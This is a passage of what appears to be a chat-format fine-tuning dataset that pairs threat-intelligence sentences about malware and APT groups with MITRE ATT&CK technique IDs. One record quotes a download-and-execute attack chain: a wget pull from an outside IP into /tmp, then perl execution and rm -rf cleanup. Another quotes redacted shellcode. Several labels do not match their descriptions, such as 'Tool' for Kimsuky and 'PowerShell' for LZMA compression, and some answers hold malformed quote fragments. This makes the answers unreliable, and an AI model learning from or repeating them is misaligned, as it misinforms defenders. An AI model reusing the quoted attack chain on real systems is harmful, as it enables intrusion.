                "content": "Pasam creates a backdoor through which remote attackers can retrieve information such as hostname and free disk space."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Carbon can collect the IP address of the victims and other computers on the network using the commands: \"ipconfig -all\" \"nbtstat -n\", and \"nbtstat -s\"."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Operation Wocao has scanned for open ports and used nbtscan to find NETBIOS nameservers."
            },
            {
                "role": "assistant",
                "content": "T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Our observation of related actions here:    u ps start password stealing (Windows)   Ps_mps/ps_hwi start start password stealing (Linux, MIPS,  ARM)   uper_mps/uper_hwi start rewrite hook module with a new version and launch it (Linux, MIPS, ARM)   Nm_mps/nm_hwi start  –ban -middle Scan ports and retrieve banners on the router subnet  (Linux, MIPS,  ARM)   U fsget * 7 *.docx, *.pdf, *.doc * search for docs with the given filetypes (Windows)   S sinfo retrieve information on installed programs and launch commands: systeminfo, tasklist, ipconfig, netstat, route print, tracert www.google.com (Windows)   weap_mps/weap_hwi host188.128.123.52 port[25,26,110,465,995]  typetcpconnect DDoS on 188.128.123.52 (Linux, MIPS,  ARM)   weap_mps/weap_hwi  typesynflood port80 cnt100000 spdmedium host212.175.109.10 DDoS on 212.175.109.10 (Linux, MIPS,  ARM)    The issued commands for the Linux plugins suggest the attackers controlled infected MIPS/ARM devices. We want to pay special attention to the DDoS commands meant for these routers"
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Egregor's payloads are custom-packed, archived and encrypted to prevent analysis."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Turla has used Metasploit to perform reflective DLL injection in order to escalate privileges."
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TA505 has used fast flux to mask botnets by distributing payloads across multiple IPs."
            },
            {
                "role": "assistant",
                "content": "T1568.001 - Fast Flux DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT41 deployed Master Boot Record bootkits on Windows systems to hide their malware and maintain persistence on victim systems."
            },
            {
                "role": "assistant",
                "content": "T1542.003 - Bootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CARROTBALL has been executed through users being lured into opening malicious e-mail attachments."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MESSAGETAP is a 64-bit ELF data miner initially loaded by an installation script. Once installed, the malware checks for the existence of two files: keyword_parm.txt and parm.txt and attempts to read the configuration files every 30 seconds"
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PlugX has been disguised as legitimate Adobe and PotPlayer files."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "64)   u= {B5B70BD7-87FC-499A-B4D1- 98163306F0D8} A GUID   r= 1 Boolean value if the malware is running as injected code   t= 8035187 Number of milliseconds the computer has been running    Table 3"
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gamaredon Group tools can delete files used during an operation."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The decrypted shellcode is dropped as a Microsoft Word plugin WLL  into C:\\Users\\ADMINI~1\\AppData\\Roaming\\Microsoft\\Word\\STARTUP."
            },
            {
                "role": "assistant",
                "content": "T1137 - Office Application Startup"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SDBbot has the ability to identify the user on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Deobfuscated, we can see it is the HawkEye Keylogger — Reborn v9, Version=9.0.1.6"
            },
            {
                "role": "assistant",
                "content": "T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The PowerShell script collects all possible information on the user and the network, including snapshots, computer and user names, emails from registry, tasks in task scheduler, system information, AVs registered in the system, privileges, domain and workgroup information"
            },
            {
                "role": "assistant",
                "content": "T1087 - Account Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "stores output from command execution in a .dat file in the %TEMP% directory."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RunningRat is a remote access Trojan (RAT) that operates with two DLLs. This DLL serves three main functions: killing antimalware, unpacking and executing the main RAT DLL, and obtaining persistence. The malware drops the Windows batch file dx.bat, which attempts to kill the task daumcleaner.exe; a Korean security program. The batch file then attempts to remove itself"
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DOGCALL is capable of capturing screenshots of the victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kimsuky is a highly motivated threat actor targeting a number of entities in South Korea. This group has been relentlessly creating new infection chains to deliver different types of malware to their victims. Such targeted attacks can result in the leak of restricted research, unauthorized access for espionage and even destructive attacks against target organizations"
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "When REvil was first discovered, it was delivered to targets via exploitation of Oracle WebLogic vulnerabilities. There are reports that the threat actors leveraged a strategic web compromise (SWC) to deliver REvil by compromising the Italian WinRAR . it website and replacing the WinRAR installation executable with an instance of the malware. The SWC resulted in the infection of unsuspecting WinRAR customers' systems. In other reports, threat actors breached at least three managed service providers (MSPs) and used the access to deploy REvil to the MSPs' customers. The diversity and complexity of delivery mechanisms employed by the REvil threat actors in a short period of time suggest a high level of sophistication"
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ixeshe can list file and directory information."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Amadey can identify the IP address of a victim machine."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Indeed, any decent firewall would block incoming packets to any ports that have not explicitly been opened for operational purposes. However, with Chaos using a raw socket, the backdoor can be triggered on ports running an existing legitimate service. As an example, a Webserver that would only expose SSH (22), HTTP (80) and HTTPS (443) would not be reachable via a traditional backdoor due to the fact that those services are in use, but with Chaos it becomes possible"
            },
            {
                "role": "assistant",
                "content": "T1205 - Traffic Signaling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ELMER uses HTTP for command and control."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "However, for version 3 things are different.  This is how the report of the email_accounts_grabber module appears for Emotet version 3:"
            },
            {
                "role": "assistant",
                "content": "T1129 - Server Software Component', 'T1588.001 - Malware', 'T1586.002 - Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PcShare can execute `cmd` commands on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Before being hashed, the character “0” or “1” is appended to the return value indicating root privileges. This clientID is stored in /Library/Storage/File System/HFS/25cf5d02-e50b-4288-870a-528d56c3cf6e/pivtoken.appex if the code runs as root, or in ~/Library/SmartCardsServices/Technology/PlugIns/drivers/snippets.ecgML otherwise. This file is normally hidden via the _chflags function and its timestamp is modified using the “touch –t” command with a random value"
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal on Host: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Mongall has relied on a user opening a malicious document for execution."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CoinTicker executes a Python script to download its second stage."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python', 'T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "1) The script uses the function fromCharCode() that returns a string created from a sequence of UTF-16 code units. By using this function, it avoids explicitly writing commands it wants to execute and it hides the actual code it is initiating. In particular, the script uses this function to hide information related to process names. To the best of our knowledge, this method was not used in early versions of the spam campaign. 2) The script uses the function radador(), which returns a randomized integer. This function is able to obfuscate code so that every iteration of the code is presented differently. In contrast to the first method of obfuscation, this has been used effectively since early versions of the Astaroth Trojan campaign"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Serving the backdoor  Another HTTP request is sent to the targeted server, with the following resource: /?module=wget hxxp://67[.]209.177.163/ibus -O /tmp/e3ac24a0bcddfacd010a6c10f4a814bc The above standard injection pulls the ibus payload and stores it on /tmp/e3ac24a0bcddfacd010a6c10f4a814bc  Launching the backdoor  The execution is issued using an additional HTTP request: /?module=perl /tmp/ e3ac24a0bcddfacd010a6c10f4a814bc;sleep 2;rm -rf /tmp/ e3ac24a0bcddfacd010a6c10f4a814bc That executes the perl script, puts it to sleep for two seconds and deletes the file to remove any evidence"
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion', 'T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ROKRAT can check for debugging tools."
            },
            {
                "role": "assistant",
                "content": "T1622 - Debugger Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The backdoor has the capability to download and upload files, execute shell commands, and update its configuration."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "C2 traffic has been encrypted with RC4 and AES."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lazarus Group has collected data and files from compromised networks."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Checking the DLLs related to iDefense SysAnalyzer, Microsoft Debugging DLL and Sandboxies - Calling IsDebuggerPresent and GetTickCount to identify a debugger - Checking VMWare related file"
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Aquatic Panda has used WinRAR to compress memory dumps prior to exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1560.001 - Archive Collected Data: Archive via Utility"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LAPSUS$ has gathered user identities and credentials to gain initial access to a victim's organization; the group has also called an organization's help desk to reset a target's credentials."
            },
            {
                "role": "assistant",
                "content": "T1589.001 - Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Stuxnet uses a driver registered as a boot start service as the main load-point."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "1) NetPass.exe is a legitimate utility developed by NirSoft that recovers all network passwords stored on a system for the current logged-on user. This tool can also recover passwords stored in the credentials file of external drives. 3) WebBrowserPassView is a password recovery tool that captures passwords stored by Internet Explorer, Mozilla Firefox, Google Chrome, Safari, and Opera and passes them to the credential enumerator module. 4) Mail PassView is a password recovery tool that reveals passwords and account details for various email clients such as Microsoft Outlook, Windows Mail, Mozilla Thunderbird, Hotmail, Yahoo. Mail, and Gmail and passes them to the credential enumerator module. Once an available system is found, Emotet writes the service component on the system, which writes Emotet onto the disk. Emotet’s access to SMB can result in the infection of entire domains (servers and clients"
            },
            {
                "role": "assistant",
                "content": "T1552.001 - Unsecured Credentials: Credentials In Files"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "QakBot can capture keystrokes on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Emotet has been delivered by phishing emails containing attachments."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "IcedID can inject itself into a suspended msiexec.exe process to send beacons to C2 while appearing as a normal msi application."
            },
            {
                "role": "assistant",
                "content": "T1218.007 - Signed Binary Proxy Execution: Msiexec"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Flame can record audio using any existing hardware recording devices."
            },
            {
                "role": "assistant",
                "content": "T1123 - Audio Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LazyScripter has used `mshta.exe` to execute Koadic stagers."
            },
            {
                "role": "assistant",
                "content": "T1218.005 - Signed Binary Proxy Execution: Mshta"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SilverTerrier uses FTP for C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1071.002 - File Transfer Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Functionally, Gauss is designed to collect as much information about infected systems as possible, as well as to steal credentials for various banking systems and social network, email and IM accounts. The Gauss code includes commands to intercept data required to work with several Lebanese banks – for instance, Bank of Beirut, Byblos Bank, and Fransabank."
            },
            {
                "role": "assistant",
                "content": "T1114 - Email Collection', 'T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Higaisa’s JavaScript file used a legitimate Microsoft Office 2007 package to side-load the \"OINFO12.OCX\" dynamic link library."
            },
            {
                "role": "assistant",
                "content": "T1574.002 - Hijack Execution Flow: DLL Side-Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "As part of the data reconnaissance phase,  grabs the system time to send back to the control server."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Winnti for Windows has the ability to use encapsulated HTTP/S in C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Function for scrambling AES256 key in the outgoing packet  Some screenshots taken during scrambling and encryption process:   Figure 21. The highlighted bytes represent the scrambled computer info   Figure 22. Randomly generated AES256 key   Figure 23. Scrambled AES256 key (0xC1 XOR 0x13 = 0xD2, 0xD2 ROL 6 = 0xB4) etc.)   Figure 24. Computer info encrypted with AES256 key   Figure 25. Screenshot of the final payload to be sent to C&C server"
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture', 'T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT19 uses a Port 22 malware variant to modify several Registry keys."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can communicate over a reverse proxy using SOCKS5."
            },
            {
                "role": "assistant",
                "content": "T1090 - Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Goopy has the ability to use cmd.exe to execute commands passed from an Outlook C2 channel."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SILENTTRINITY can create a WMI Event to execute a payload for persistence."
            },
            {
                "role": "assistant",
                "content": "T1546.003 - Event Triggered Execution: Windows Management Instrumentation Event Subscription"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "22 Keylogging and exfiltrating data The exfiltrated data is base64 that decodes into more custom encoded strings that appear to be “/” delimited"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information', 'T1560 - Archive Collected Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Here is the content of the file: /shellcode <90909090909090909090E800<...redacted…>4D2D6DC95CBD5DC1811111111111111> def <7B0D0A2756...redacted…>312067657420636C6F736566696C650D0A717569740D0A7D> token pop exch pop Exec  The executed shellcode will first perform a decoding routine designed to download an additional payload from the internet"
            },
            {
                "role": "assistant",
                "content": "T1064 - Scripting', 'T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WhisperGate can pause for 20 seconds to bypass antivirus solutions."
            },
            {
                "role": "assistant",
                "content": "T1497.003 - Time Based Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "checks its parent process for indications that it is running in a sandbox setup."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In the first campaign, the email (Figure 1) purported to be from FinCERT [8] with the subject “Памятка по информационной безопасности” (Information Security Notice) and contained a Microsoft Word attachment named “сводка1705.doc” (report1705) (Figure 3). - Another email (Figure 2) purported to be from Security Support for PCI-DSS [3] at a major credit card company with the subject line “Безопасность” (security) and a Microsoft Word attachment (Figure 4) “Требования безопасности.doc” (Safety requirements"
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Both malicious programs share the code for LZMA compression algorithm. In CloudAtlas it is used to compress the logs and to decompress the decrypted payload from the C&amp;C servers, while in Red October the “scheduler” plugin uses it to decompress executable payloads from the C&amp;C"
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell', 'T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT3 has used tools to compress data before exfilling it."
            },
            {
                "role": "assistant",
                "content": "T1560.001 - Archive Collected Data: Archive via Utility"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has the capability to enumerate files."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TrickBot can enumerate computers and network devices."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "actors have split RAR files for exfiltration into parts."
            },
            {
                "role": "assistant",
                "content": "T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
